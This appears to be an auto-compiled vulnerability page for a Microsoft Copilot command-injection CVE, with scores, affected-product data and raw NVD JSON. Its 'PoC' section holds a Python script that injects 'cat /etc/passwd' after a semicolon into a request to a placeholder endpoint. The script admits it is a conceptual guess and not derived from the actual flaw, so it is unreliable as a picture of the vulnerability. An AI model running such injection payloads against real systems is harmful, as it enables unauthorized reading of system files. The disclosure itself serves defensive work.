Security Vulnerability Report
中文
CVE-2026-26136 CVSS 6.5 MEDIUM

CVE-2026-26136

Published: 2026-03-19 21:17:08
Last Modified: 2026-04-01 12:23:10

Description

Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:copilot:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Copilot (具体受影响版本未在描述中明确)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-26136 (Command Injection in Microsoft Copilot) # This is a conceptual demonstration based on the vulnerability description. import requests def trigger_command_injection(target_url, injected_command): """ Simulates sending a malicious payload to the vulnerable Copilot endpoint. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-26136-Scanner/1.0" } # The payload attempts to inject a command using a semicolon separator payload = f"innocent_query; {injected_command}" data = { "input": payload, "context": "user_prompt" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage (Target URL is hypothetical) target = "https://api.copilot.example.com/v1/generate" # Example command to list files (Linux) or whoami cmd = "cat /etc/passwd" trigger_command_injection(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26136", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:07.883", "lastModified": "2026-04-01T12:23:09.570", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to disclose information over a network."}, {"lang": "es", "value": "Neutralización incorrecta de elementos especiales utilizados en un comando ('inyección de comandos') en Microsoft Copilot permite a un atacante no autorizado divulgar información a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:copilot:-:*:*:*:*:*:*:*", "matchCriteriaId": "4460C154-CAA1-49B9-8016-EFE5602C6E1C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26136", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}